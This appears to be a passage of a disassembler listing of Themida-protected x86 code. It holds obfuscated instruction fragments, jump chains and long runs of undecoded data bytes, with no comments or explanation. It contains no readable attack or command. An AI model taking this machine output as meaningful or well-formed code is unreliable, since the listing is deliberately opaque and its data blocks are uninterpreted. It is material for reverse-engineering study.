		jmp	loc_55C664
; ---------------------------------------------------------------------------


loc_5596F7:				; CODE XREF: Themida_:00555958j
		pop	esp
		mov	[esp], dx
		jmp	loc_55CF35
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 6496858h, 0CAE90000h, 400000Ah, 0E9D028FCh
		dd 60D2h, 0E99C5066h, 0FFFF9DFBh, 7AF4CE81h, 0C6813B72h
		dd 84048406h, 1B9DE9h, 24043300h, 0C124E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55973E:				; CODE XREF: Themida_:00557233j
		shl	ecx, 6
		jmp	loc_558459
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 578Fh,	0DA5C681h, 0E1E90999h
		dd 5E000051h, 53231F2Dh, 5F80137h, 3753231Fh, 0FFE169E9h
		dd 81CE01FFh, 67558AC6h, 0BBEE8113h, 59162C5Eh,	0FFD5A0E9h
		dd 0CE015BFFh, 0BCE95159h, 52FFFFB5h, 0FFE0BDE9h, 1C7709FFh
		dd 127AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55979D:				; CODE XREF: Themida_:0055C27Aj
		pop	esp
		jmp	loc_5549A7
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3187327Dh, 148BD089h, 4C48324h, 958C531h, 0BF575DEAh
		dd 6F063EFDh, 413BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5597C1:				; CODE XREF: Themida_:005553E5j
		sub	esp, 4
		mov	[esp], esi
		push	2CD4h
		mov	[esp], ecx
		mov	ecx, 2673099h
		not	ecx
		push	844h
		mov	[esp], esi
		mov	esi, 0E8548A5h
		add	esi, 4E070A2Ah
		dec	esi
		push	ecx
		mov	ecx, 25FB0821h
		and	ecx, 742675F7h
		and	ecx, 2B7610CDh
		shr	ecx, 6
		shl	ecx, 8
		inc	ecx
		add	ecx, 83A463A4h
		xor	esi, ecx
		pop	ecx
		add	esi, 0A4F88DFBh
		sub	ecx, esi
		jmp	loc_55865C
; ---------------------------------------------------------------------------


loc_559819:				; CODE XREF: Themida_:0055F331j
		push	ecx
		jmp	loc_555294
; ---------------------------------------------------------------------------
		db 81h
		dd 0D6671AF6h, 5EF329D9h, 0C0E9F329h, 56FFFFAFh, 0FFBA2BE9h
		dd 2474FFFFh, 48F5A04h,	424EE924h, 814A0000h, 0C208CFF2h
		dd 3BF575Dh, 4F386B49h,	37E94F4Fh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559857:				; CODE XREF: Themida_:00556949j
		mov	ebx, 682F2B4Ch
		xor	ebx, ebp
		pop	ebp
		sub	ebx, 1B3E6033h
		push	ecx
		jmp	loc_5544BA
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 3C335C24h, 0F7D9E924h, 0F281FFFFh, 431564AFh
		dd 0FFB229E9h, 662FB4FFh, 88AFB151h, 805966CEh,	0A7E9C8EEh
		dd 29FFFFB9h, 0BB04E9FEh, 0EBC1FFFFh, 71C38108h, 895E003Fh
		dd 0E1815BD9h, 774C079Bh, 29E0F181h, 0BF57308Ch, 3EA17E2Bh
		dd 7BAEC781h, 0D7F76644h, 616CE9h, 24048900h, 0BD555854h
		dd 4, 0FFBED7E9h, 0B9515BFFh, 0CB640E6h, 53C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5598E5:				; CODE XREF: Themida_:00557C48j
		mov	eax, esp
		add	eax, 4
		jmp	loc_55A810
; ---------------------------------------------------------------------------


loc_5598F1:				; CODE XREF: Themida_:00558CD5j
		push	ebp
		mov	ebp, 0B4D7882h
		inc	ebp
		add	ebp, 32B2DEE7h
		xor	edi, ebp
		pop	ebp
		push	0
		add	dword ptr [esp], 79990E99h
		sub	[esp], edi
		sub	dword ptr [esp], 79990E99h
		pop	edi
		jmp	loc_55C02F
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0E9h
		dd 457EE711h, 0FFD794E9h, 0C3E95CFFh
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55992F:				; CODE XREF: Themida_:00556B8Ej
		add	eax, esi
		pop	esi
		jmp	loc_555952
; ---------------------------------------------------------------------------
		db 50h
		dd 0A64F99B8h, 0E9D0F70Dh, 0FFFFB76Eh, 4EC835Bh, 0FF241489h
		dd 5A042474h, 8B24048Fh, 0BD552424h, 6FA76ACh, 215FED81h
		dd 0BF5717E5h, 10EAACB3h, 36F6C581h, 0FD0123C2h, 4EC8156h
		dd 89000000h, 19BD242Ch, 81786F3Dh, 0F96BC3CDh,	0BEE58100h
		dd 815C3D53h, 981845C5h, 5DEE89B7h, 1B4E9h
		db 0
byte_559999	db 66h,	8Bh, 4		; DATA XREF: Themida_:005533F0o
		dd 0A59FE924h, 0E953FFFFh, 0FFFFF109h, 123F1B2Dh, 5E80106h
		dd 6123F1Bh, 51D8015Dh,	504AE952h
		db 2 dup(0)
word_5599BE	dw 3431h		; DATA XREF: Themida_:00553490o
		dd 6F5E924h, 0CF010000h, 8EFC159h, 1156E9h, 4E98100h, 33000000h
		dd 44E9240Ch
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5599DF:				; CODE XREF: Themida_:00557CEBj
		sub	edx, 0D8C9BDC3h
		jmp	loc_55E2A4
; ---------------------------------------------------------------------------


loc_5599EA:				; CODE XREF: Themida_:0055449Cj
		xor	ecx, 8BF200h
		add	ebp, ecx
		pop	ecx
		jmp	loc_55D792
; ---------------------------------------------------------------------------
		dd 67F5805Bh, 1DB15150h, 0FE04E9C0h, 2E1C0C1h, 0C086F180h
		dd 0C18008E9h, 0E9C8886Ch, 0FFFFF6FDh, 4C681h, 0E8E90000h
		dd 0E9FFFF9Fh, 0FFFF9AF7h
; ---------------------------------------------------------------------------


loc_559A28:				; CODE XREF: Themida_:00554ED3j
		pop	edx
		jmp	loc_55A440
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 5BFD304Dh, 0FFDBDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A39:				; CODE XREF: Themida_:00556686j
					; Themida_:00558FB7j ...
		push	dword ptr [esp]
		pop	ebx
		push	edi
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5556B1
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0FFB981E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A69:				; CODE XREF: Themida_:005560ABj
		shr	ebx, 7
		xor	ebx, 0ED47FE1h
		xor	eax, ebx
		pop	ebx
		sub	eax, 0AED4FC5Ah
		jmp	loc_556914
; ---------------------------------------------------------------------------
		db 0FEh
		dd 80D9F6C1h, 8953A9F1h, 4C381E3h, 83000000h, 1C8704EBh
		dd 0FE8FE924h, 0F74FFFFFh, 4627E9D7h
		db 2 dup(0)
word_559AA2	dw 8B66h		; DATA XREF: Themida_:00553458o
		dd 0EC832404h, 240C8904h, 0E904EC83h, 0FFFF9B9Dh, 555FF801h
		dd 750D4EBDh, 4EE58162h, 456EC750h, 5CB3CD81h, 0BA521B55h
		dd 7B555CFBh, 4489E9h, 1E660500h, 525661EDh, 2801E2BAh
		dd 4145E967h, 0C3810000h, 4, 773A68h, 243C8900h, 8F685156h
		dd 590EAB7Bh, 0FFD9FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559B01:				; CODE XREF: Themida_:0055F84Aj
		push	edi
		push	eax
		pop	edi
		pop	eax
		inc	eax
		xor	edi, eax
		jmp	loc_555120
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 0E7E90000h, 42000014h, 3238BE56h, 0E6816A6Ch, 22D36690h
		dd 25EDF681h, 0F229727Fh, 8EAC15Eh, 814ADAF7h, 53F33FC2h
		dd 0F8E95204h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B3F:				; CODE XREF: Themida_:0055AE7Bj
		mov	[esp], esi
		jmp	loc_554165
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFAF70E9h, 0E9E6D1FFh, 2C5Bh, 4C681h, 34870000h, 82685C24h
		dd 0E900000Ch, 0FFFFCD87h
aN1H		db '­1ØhÙ<',0           ; DATA XREF: Themida_:005532C4o
		align 10h
		dd 1C22E9h, 815A5400h, 4C2h, 0B8CBE900h, 0EFC0FFFFh, 7E7C004h
		dd 0E9C3EF80h, 1B44h
; ---------------------------------------------------------------------------


loc_559B90:				; CODE XREF: Themida_:00554C7Ej
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ecx
		push	ebx
		mov	ebx, 3826707Bh
		dec	ebx
		jmp	loc_557CA7
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1B1F5076h, 1F504ABAh, 58C2311Bh, 0B9B6E953h,	0E9C1FFFFh
		dd 0C811E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559BC2:				; CODE XREF: Themida_:00556279j
		shr	ecx, 8
		neg	ecx
		add	ecx, 7CBB37F1h
		jmp	loc_5583D4
; ---------------------------------------------------------------------------
aSc?		db ']é–?',0
		align 4
dword_559BD8	dd 240C8B66h, 0F2768h, 24348900h, 0AFE9E689h ; DATA XREF: Themida_:005534D4o
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559BEB:				; CODE XREF: Themida_:0055E4EBj
		mov	[esp], ecx
		jmp	loc_5537C6
; ---------------------------------------------------------------------------


loc_559BF3:				; CODE XREF: Themida_:0055865Fj
		add	esp, 4
		push	ebp
		mov	ebp, ecx
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_55DF06
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 415h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 808AEF80h, 0CF805BC7h, 0FF58E923h, 2C8BFFFFh, 4C48324h
		dd 5F2434FFh, 4C481h, 0DDE90000h, 0BD000031h, 478301CBh
		dd 58E95250h, 8BFFFFFBh, 0C483240Ch, 91B75304h,	50FFEF80h
		dd 0F6E8B652h, 80DEF6DEh, 0C6FED5F6h, 0F680DEF6h, 8BF4881Fh
		dd 0C4812414h, 4, 48BE730h, 4C48124h, 0E9000000h, 0FFFFF148h
dword_559C84	dd 4EC81h, 90680000h, 8900000Ah, 4832424h, 48F0424h, 4EC8124h
					; DATA XREF: Themida_:0055342Co
		dd 0E9000000h, 27A8h
; ---------------------------------------------------------------------------


loc_559CA4:				; CODE XREF: Themida_:0055CF8Dj
		add	esp, 4
		pop	esi
		xor	ebp, 1A5A418h
		and	eax, ebp
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_555DD0
; ---------------------------------------------------------------------------


loc_559CC7:				; CODE XREF: Themida_:0055838Bj
		shr	ebp, 6
		push	edx
		mov	edx, 0FF74FE4Ah
		jmp	loc_556499
; ---------------------------------------------------------------------------


loc_559CD5:				; CODE XREF: Themida_:0055B0CCj
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_55D0EF
; ---------------------------------------------------------------------------
byte_559CF9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005532C0o
		dd 0EC41E924h, 0EB80FFFFh, 80C300B4h, 5066B4C3h, 0E328F4B4h
		dd 50665866h, 0E32806B4h, 13E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_559D1D:				; CODE XREF: Themida_:00557CD7j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_557F74
; ---------------------------------------------------------------------------


loc_559D33:				; CODE XREF: Themida_:0055A314j
		pop	ecx
		push	ebp
		mov	ebp, 455669D8h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3E6203EFh
		or	esi, 5CEB572Fh
		add	esi, 1
		add	esi, 49004BBAh
		push	edi
		jmp	loc_55DC81
; ---------------------------------------------------------------------------
byte_559D5D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00553294o
aWsfs		db '$Wé”S',0
		db 0
; ---------------------------------------------------------------------------


loc_559D67:				; CODE XREF: Themida_:0055C72Fj
		add	ebx, 98080B0Ah
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, edi
		mov	ebp, eax
		pop	eax
		pop	edi
		add	edx, ebp
		jmp	loc_558E1F
; ---------------------------------------------------------------------------
		dw 0F668h
		dd 89000023h, 89572414h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 48F545Ch, 24048124h,	4, 4C2815Ah, 53000000h,	2279BA52h
		dd 0F74212BFh, 0F2814AD2h, 0EF17A465h, 2525E9h,	242C3100h
		dd 8B242C33h, 14892424h, 0E99C5024h, 2D82h, 246C8166h
		dd 66372602h, 2244481h,	0A1E913CFh, 0C0FFFFAEh,	5EE903E9h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559DEF:				; CODE XREF: Themida_:00554611j
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		add	edx, 181C6F30h
		sub	edx, ecx
		sub	edx, 181C6F30h
		jmp	loc_55627E
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0C3830000h, 241C8702h, 15EDE9h, 1FE95700h, 0BF000023h
		dd 36DE09ADh, 8247C29h,	0E4E9595Fh, 66FFFF96h, 0DCE930FFh
		dd 89FFFF96h, 0AA56E9E3h, 0F329FFFFh, 24348B5Eh, 5641E9h
		db 0
; ---------------------------------------------------------------------------


loc_559E55:				; CODE XREF: Themida_:0055E848j
		pop	dword ptr [ebx]
		jmp	loc_55F9CB
; ---------------------------------------------------------------------------
aZSk		db '‡,$éŠ\',0
		align 4


loc_559E64:				; CODE XREF: Themida_:00554357j
		xor	ebp, 0CD9677D0h
		jmp	loc_557759
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFEBAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559E75:				; CODE XREF: Themida_:00557FD1j
		push	ecx
		mov	ecx, 217D7F03h
		mov	eax, 0EB06C24Dh
		add	eax, ecx
		pop	ecx
		shl	eax, 2
		and	eax, 11C16803h
		inc	eax
		add	eax, 102860F1h
		xor	eax, 202960F6h
		mov	esi, eax
		pop	eax
		add	ebp, 4076A96h
		sub	ebp, esi
		push	ecx
		mov	ecx, 6170017Fh
		not	ecx
		neg	ecx
		xor	ecx, 5B26151Fh
		shl	ecx, 1
		xor	ecx, 70AB43A8h
		jmp	loc_556343
; ---------------------------------------------------------------------------


loc_559EBE:				; CODE XREF: Themida_:005552C5j
		xor	ebp, 44894FE2h
		add	ecx, ebp
		pop	ebp
		mov	edi, ecx
		pop	ecx
		sub	dword ptr [esp+4], 2F312104h
		add	dword ptr [esp+4], 504052D9h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 504052D9h
		add	dword ptr [esp+4], 2F312104h
		pop	edi
		pop	ecx
		sub	esp, 4
		jmp	loc_556B68
; ---------------------------------------------------------------------------
dword_559EF8	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF9617h
					; DATA XREF: Themida_:00553374o
; ---------------------------------------------------------------------------


loc_559F08:				; CODE XREF: Themida_:0055A169j
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 66C521D7h
		jmp	loc_55DEA6
; ---------------------------------------------------------------------------
		db 66h
		dd 661A92B8h, 6244429h,	8B665866h, 0C4832414h, 0E9596602h
		dd 0FFFF95EFh, 5C243C87h, 3E58E9h
		db 0
byte_559F39	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005533B0o
aXhH		db 'XhšH',0
		align 2
		dw 3C89h
		dd 555F5424h, 431FBE56h, 0F5897BE6h, 0CCD815Eh,	811AC92Fh
		dd 0A35DCBF5h, 30C58154h, 81D0B3CDh, 44A96C7h, 81EF017Ch
		dd 44A96EFh, 55565D7Ch,	4BDh, 0B1D8E900h, 0CD80FFFFh, 0A8CD80ACh
		dd 809EED80h, 0EDC078F5h, 80DDF607h, 0B353F1C5h, 8CB8077h
		dd 8008F380h, 5166ACCBh, 15E931B1h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559FA7:				; CODE XREF: Themida_:0055E4DDj
		mov	[esp], edi
		mov	edi, 0B4C6651Eh
		add	ebx, edi
		pop	edi
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 15A27FF4h
		add	eax, 0EF369179h
		mov	ecx, eax
		pop	eax
		and	ecx, 38F45342h
		push	esi
		mov	esi, 7AF769F0h
		sub	esi, 0C7AEE984h
		sub	ecx, esi
		pop	esi
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 3F431FAFh
		dec	eax
		shl	eax, 7
		push	ebx
		push	ecx
		jmp	loc_553DEB
; ---------------------------------------------------------------------------
		db 53h
		dd 8904EC83h, 19E92404h
		db 0ADh, 2 dup(0FFh)
byte_55A007	db 66h			; DATA XREF: Themida_:005533D0o
		dd 0E924248Bh, 0FFFF950Fh
dword_55A010	dd 8B2434FFh, 37E9240Ch, 5A000033h, 0FFE044E9h,	0D5EA81FFh
					; DATA XREF: Themida_:00553448o
		dd 0E9047942h, 0FFFF94F3h, 0E974045Ah, 4D79h, 0EC83D831h
		dd 243C8904h, 0A70F44BFh
		db 7Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_555CA7
; ---------------------------------------------------------------------------
		dw 0FF5Dh
		dd 0BE561C77h, 7D674C2Ch, 4247401h, 240C8B5Eh, 81E78957h
		dd 4C7h, 4EF8300h, 175AE9h, 80E62800h, 0EC81B0C6h, 4, 0FFD9F5E9h
		dd 4C681FFh, 81000000h,	4C6h, 70A06800h, 34890000h, 2474FF24h
		dd 48F5E04h, 24248B24h,	0FFB375E9h, 80C328FFh, 4DE9A8EBh
		dd 33000032h, 34312434h, 0C611E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0C6:				; CODE XREF: Themida_:0055691Dj
		push	ebx
		jmp	loc_556208
; ---------------------------------------------------------------------------


loc_55A0CC:				; CODE XREF: Themida_:0055E321j
		pop	ebx
		jmp	loc_555F08
; ---------------------------------------------------------------------------
a31Sbu		db '3<$1<$é¡U',0
		dd 943DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0E2:				; CODE XREF: Themida_:005561E7j
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	ebp
		xor	[esp], edi
		jmp	loc_55F64F
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 1C06EE81h, 875F2B2Dh, 248B2434h, 243CD224h, 9409E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A116:				; CODE XREF: Themida_:0055F9F8j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55ABAE
; ---------------------------------------------------------------------------
byte_55A127	db 66h			; DATA XREF: Themida_:005534B0o
		dd 57240C8Bh, 9EE9E789h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A133:				; CODE XREF: Themida_:0055CA01j
		pop	esi
		sub	esi, 0EFEFF66Ch
		jmp	loc_55C71C
; ---------------------------------------------------------------------------
		align 10h
		dd 3EE95BDDh
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A147:				; CODE XREF: Themida_:005541BCj
		mov	[esp], eax
		jmp	loc_55E5B2
; ---------------------------------------------------------------------------
		db 33h
		dd 0B1E9242Ch
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A157:				; CODE XREF: Themida_:0055961Bj
		pop	eax
		and	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_559F08
; ---------------------------------------------------------------------------


loc_55A16E:				; CODE XREF: Themida_:0055F158j
		push	edx
		push	esp
		jmp	loc_5540A7
; ---------------------------------------------------------------------------


loc_55A175:				; CODE XREF: Themida_:0055B6ADj
		push	edx
		jmp	loc_55D52C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 2C78300h, 31243C33h, 3C33243Ch, 8B665C24h, 5152240Ch
		dd 0C181E189h, 4, 8704E983h, 0E95C240Ch, 0FFFFE4BCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 5D9E3986h
		push	eax
		mov	eax, 202A73C0h
		xor	edi, eax
		pop	eax
		xor	edi, 7DB44A42h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_555FF4
; ---------------------------------------------------------------------------


loc_55A1CB:				; CODE XREF: Themida_:0055C705j
		pop	ebx
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_55406C
; ---------------------------------------------------------------------------
aIcscr		db '‰çéæR',0
		dd 24148900h, 4BAh, 5AD00100h, 355BE9h,	24148900h, 0FFF9B1E9h
		dd 588AB9FFh, 0E9C14D33h, 2CE98103h, 876EB54Ah,	87D6F7F1h
		dd 595651F1h, 9449E95Eh, 0E580FFFFh, 4AE977h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A21A:				; CODE XREF: Themida_:0055D4F1j
		add	ebp, 76FD7F09h
		pop	eax
		not	ebp
		inc	ebp
		push	ebx
		jmp	loc_553A8D
; ---------------------------------------------------------------------------
		dw 0F0E9h
		dd 87FFFF92h, 0E9240Ch,	5C000000h, 4C781h, 0B2E90000h
		dd 66000012h, 4492C5Ah,	0D18DE969h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A24E:				; CODE XREF: Themida_:00557E48j
		pop	esp
		add	edx, 605939F2h
		sub	edx, esi
		push	ebx
		mov	ebx, 605939F2h
		sub	edx, ebx
		jmp	loc_55E9D9
; ---------------------------------------------------------------------------
		dd 0C5FED5F6h, 0E9D6ED80h, 0FFFFADC2h, 46F5FBDh, 0D1EA8149h
		dd 128656Dh, 38DAE9EAh,	20040000h, 0CDE9E800h, 68FFFF9Ah
		dd 547Ah, 3374E9h, 0C3005A00h, 0FFE2D4E9h, 0E08950FFh
		dd 405h, 0DD81E900h
		db 2 dup(0FFh)
word_55A2AA	dw 52ACh		; DATA XREF: Themida_:005533C8o
		dd 7C2CF5B2h, 5FAE9h, 89535F00h, 0EF62E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2BE:				; CODE XREF: Themida_:005565A3j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0C4C16CDh
		and	ecx, 6CB71A71h
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		push	6413h
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xchg	esi, ecx
		push	ebp
		mov	ebp, 0C041342h
		jmp	loc_553EE9
; ---------------------------------------------------------------------------


loc_55A2FA:				; CODE XREF: Themida_:0055B9F7j
		or	ecx, 677C6D79h
		add	ecx, 6FF5297Ah
		and	ecx, 117036F9h
		xor	ecx, 5BD43E48h
		mov	edx, ecx
		jmp	loc_559D33
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 68h
		dd 2904B342h, 555D5AD0h, 2BDh, 18D42D00h, 0E801107Ah, 0F0A9E952h
		dd 0E954FFFFh, 363Bh, 24348B5Ah, 0E904C483h, 0FFFF91D7h
		dd 2414335Ch, 33241431h, 0E95C2414h, 472Bh, 295EF029h
		dd 0BB5355D8h, 56753F61h, 0CB9F37BDh, 587BE97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A36E:				; CODE XREF: Themida_:0055C670j
		add	ecx, edi
		add	ecx, 195A52B4h
		pop	edi
		inc	ecx
		add	ecx, 52751F53h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1278F895h
		xor	ecx, edi
		pop	edi
		jmp	loc_55D045
; ---------------------------------------------------------------------------
		dd 0E380C3FEh, 93F38074h, 805BD928h, 0E9809CC9h, 59C8282Fh
		dd 0A1049F2Ch, 0D8000204h, 3EA1E9h, 3C875A00h, 24248B24h
		dd 24048966h, 0C3807EB4h, 80E3289Ch, 58669CEBh,	8028C380h
		dd 81E919EBh, 0FFFFFFCFh, 48B2434h, 4C48324h, 0FFA846E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A3E5:				; CODE XREF: Themida_:005541D7j
		add	esp, 4
		jmp	loc_555D36
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 9C506624h, 0FFF62AE9h, 0C5B551FFh, 0B050CDFEh, 2E0C016h
		dd 0B151D0F6h, 0A4C180D6h, 0FFF66EE9h, 0F78059FFh, 0E9F80026h
		dd 0FFFF9216h, 4AB0F66h, 0F8E99C24h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A427:				; CODE XREF: Themida_:00555524j
		mov	ecx, 612B142Ah
		jmp	loc_556D48
; ---------------------------------------------------------------------------
byte_55A431	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00553388o
		dd 1858669Dh, 0E99C2404h, 0FFFFA843h
; ---------------------------------------------------------------------------


loc_55A440:				; CODE XREF: Themida_:00559A29j
		pop	eax
		push	32F7h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55D36A
; ---------------------------------------------------------------------------


loc_55A454:				; CODE XREF: Themida_:0055890Bj
		pop	ecx
		sub	ebp, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_55E4E2
; ---------------------------------------------------------------------------


loc_55A470:				; CODE XREF: Themida_:00554D46j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55BE00
; ---------------------------------------------------------------------------


loc_55A47E:				; CODE XREF: Themida_:005587F7j
		mov	[esp], ecx
		push	eax
		mov	eax, 310A69D7h
		jmp	loc_558E58
; ---------------------------------------------------------------------------
		dd 34FFDF01h, 0E274E924h, 0BABFFFFFh, 0F7331246h, 0C1DFF7DFh
		dd 0C78105E7h, 0F6C08F35h, 1A63E9h, 241C8B00h, 0FD04C483h
		dd 0FA9E9h, 4C68100h, 83000000h, 348704C6h, 125DE924h
		db 2 dup(0)
word_55A4CA	dw 8B66h		; DATA XREF: Themida_:0055334Co
		dd 8153240Ch, 4ECh, 24248900h, 4240481h, 0FF000000h, 0E95B2434h
		dd 0FFFFBCA7h, 0D44BE95Fh, 0C481FFFFh, 4, 2474FF51h, 48F5904h
		dd 24248B24h, 0E92434FFh, 1ACDh, 0DBF68DB3h, 0E912C380h
		dd 0FFFFAE49h, 348BF001h, 4C48124h, 33000000h, 0CFE92404h
		dd 89000008h, 0B252240Ch, 0E3DEE9D5h, 4B68FFFFh, 0E900000Dh
		dd 0FFFFD459h, 8B66C830h, 8956240Ch, 4C681E6h, 83000000h
		dd 348702C6h, 0C3F8E924h, 15FFFFFh, 243C8BFDh, 4C481h
		dd 0E8E90000h, 83FFFFFBh, 335A04C4h, 34312434h,	24343324h
		dd 66F1F65Ch, 56CCB60Fh, 242968h, 24248900h, 1166E953h
		dd 0ED810000h, 0F932DD69h, 815DEA01h, 4C2h, 24148700h
		dd 6AE9535Ch, 68FFFFF5h, 17F6h,	0FFC4E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A5AD:				; CODE XREF: Themida_:00558644j
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	10B2h
		mov	[esp], edx
		mov	edx, 28A630B0h
		add	edx, 0FFFFFFFFh
		push	esi
		jmp	loc_5553CB
; ---------------------------------------------------------------------------


loc_55A5C8:				; CODE XREF: Themida_:0055D5CCj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	1ADCh
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_5548DC
; ---------------------------------------------------------------------------
		dd 9DF2E95Eh, 0FB01FFFFh, 0FFFECFE9h, 1AFA68FFh, 0F7E90000h
		dd 5400000Dh, 4C18159h,	0E9000000h, 0FFFFA2DAh,	5C3368h
		dd 240C8900h, 0FF8EE2E9h, 0EC8357FFh, 24248904h, 45B9E9h
		dd 72CA8100h, 811CEC18h, 0AA040ACAh, 3CCA811Fh,	0E91A8133h
		dd 3450h, 105AB951h, 0C8216FE5h, 57C70559h, 90513B0h, 1E4F1B4h
		dd 0A563E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A67A:				; CODE XREF: Themida_:0055C9E8j
		mov	esi, 3CC71A9Ah
		jmp	loc_5541C7
; ---------------------------------------------------------------------------
		dd 5B66FE28h, 0FFF9F0E9h, 24048FFFh, 0D224248Bh, 0E99C2424h
		dd 0FFFF8E83h
; ---------------------------------------------------------------------------


loc_55A69C:				; CODE XREF: Themida_:0055F5EBj
		mov	[esp], esi
		mov	esi, 5BC51D97h
		mov	ebx, 10C60091h
		push	ebx
		not	dword ptr [esp]
